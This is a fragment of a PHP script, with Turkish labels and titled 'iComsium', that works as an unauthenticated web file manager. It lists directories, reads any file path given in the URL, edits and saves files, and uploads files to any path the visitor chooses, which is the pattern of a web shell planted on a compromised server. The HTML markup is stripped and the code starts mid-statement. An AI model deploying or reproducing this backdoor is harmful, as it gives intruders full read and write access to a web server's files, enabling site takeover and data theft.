iComsium iComsium Dosya kaydedildi: {$_POST['edit_file']}


"; } // === Dosya Yükleme İşlemi === if (isset($_FILES['upload_file'])) { $upload_path = isset($_POST['upload_path']) ? $_POST['upload_path'] : $root . '/'; $target = $upload_path . basename($_FILES['upload_file']['name']); if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $target)) { echo "

Dosya yüklendi: {$target}


"; } else { echo "

Yükleme başarısız!


"; } } // === Dosya İçeriği Görüntüleme/Düzenleme === if (isset($_GET['edit']) && is_file($_GET['edit'])) { $content = htmlspecialchars(file_get_contents($_GET['edit'])); echo "

{$_GET['edit']} - Dosyasını Düzenle

"; echo "


"; echo "Geri Dön"; return; } // === Dizin Görüntüleme === if (isset($_GET['file'])) { if (is_file($_GET['file'])) { header("Content-type: text/plain"); readfile($_GET['file']); return; } $path = $_GET['file'] . '/'; } else { $path = $root . '/'; } echo "Root: $root
"; echo "Path: $path
"; echo '.. (Üst Dizin)
'; $p = $path . '*'; foreach (glob($p) as $file) { $style = is_file($file) ? $style1 : $style2; $link = is_file($file) ? '?file=' . $file : '?file=' . $file; $edit = is_file($file) ? ' - [Düzenle]' : ''; echo '' . basename($file) . '' . $edit . '
'; } // === Dosya Yükleme Formu === echo '

Dosya Yükle

'; echo '
';